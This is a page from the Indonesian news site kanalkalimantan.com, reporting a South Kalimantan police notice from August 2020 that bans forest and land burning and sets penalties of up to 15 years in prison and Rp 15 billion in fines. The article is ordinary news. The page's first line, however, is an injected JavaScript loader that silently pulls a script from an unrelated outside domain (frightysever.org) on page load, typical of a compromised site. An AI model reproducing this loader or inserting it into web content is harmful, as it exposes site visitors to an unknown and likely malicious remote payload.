(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Maklumat Kapolda Kalsel Terkait Karhutla, Sanksinya Denda Hingga Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Kepala Kepolisian Daerah Kalimantan Selatan (Kapolda Kalsel) Irjen Pol Dr Nico Afinta mengeluarkan maklumat larangan melakukan pembakaran hutan dan lahan (Karhutla) di wilayah Provinsi Kalsel.

Maklumat ini sebagai langkah antisipasi agar warga tidak membakar hutan dan lahan seperti yang kerap terjadi pada musim kemarau.

Dalam Maklumat Nomor: Mak/01/VIII/2020 tertanggal 12 Agustus 2020 tersebut, sanksi hukum terhadap pelaku pembakaran hutan dan lahan sesuai Undang-undang yang berlaku, hukum maksimalnya 12 hingga 15 tahun penjara. Tidak hanya kurungan bagi mereka yang masih nekat membakar hutan dan lahan, juga diancam denda hingga Rp 15 miliar.

“Kita tidak ingin Provinsi Kalimantan Selatan terjadi kebakaran hutan dan lahan yang merupakan perbuatan kejahatan tindak pidana, karena menimbulkan dampak terhadap lingkungan hidup, gangguan kesehatan, transportasi dan terganggunya aktivitas manusia. Belum lagi dampak perekonomian yang akan dialami,” tegas Kapolda Kalsel Irjen Pol Dr Nico Afinta melalui Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i, Kamis (27/8/2020).

Maklumat Kapolda Kalsel terkait Karhutla. foto: humas polda kalsel

Karena itu, Polda Kalsel dan Polres Jajaran akan menindak tegas pelaku yang masih nekat membakar hutan dan lahan, sebab apabila terjadi maka dapat menimbulkan kerugian yang sangat besar.

“Mari dukung upaya-upaya pencegahan. Jangan sampai terjadi kabut asap seperti beberapa tahun lalu,” tukas Kabid Humas Polda Kalsel.

Kabid Humas menegaskan, pihaknya akan melakukan semua cara untuk mencegah terjadinya Karhutla. Bersama TNI, pemerintah daerah  dan stakeholder lainnya, Polda Kalsel dan Polres Jajaran berupaya agar Karhutla tidak terjadi.

Maklumat Kapolda Kalsel mengatur 5 hal tentang larangan pembakaran hutan dan lahan di Kalsel, hingga sanksi yang akan diberikan kepada pelaku. Salah satu poin menekankan proses hukum yang tegas bagi pembakar lahan, baik personal maupun perusahaan atau korporasi.

Edukasi ke masyarakat harus gencar dilakukan sebelum Karhutla melanda. Upaya hukum disebutnya sebagai langkah terakhir yang akan diambil oleh pihak kepolisian.

“Maka kita lakukan sosialisasi, edukasi kepada masyarakat, pemilik perkebunan dan korporasi, agar ikut berupaya mencegah Karhutla. Salah satunya dengan mengembangkan Kampung Tangkal Karhutla dengan membentuk relawan peduli lingkungan,” tegasnya.

Ratusan personel pun disiagakan dan ditempatkan di wilayah rawan Karhutla guna mengawasi dan mengedukasi masyarakat agar tidak membakar lahan.

“Polres-Polres di daerah kita minta bersiap cegah Karhutla. Sejauh ini telah ada 11 Polres di daerah terpantau hotspot  yang telah kita instruksikan untuk menangani dan mencegah Karhutla,” tandas Kombes Pol Mochamad Rifa’i. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

2 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

3 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

3 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

20 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

21 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

22 jam ago

This website uses cookies.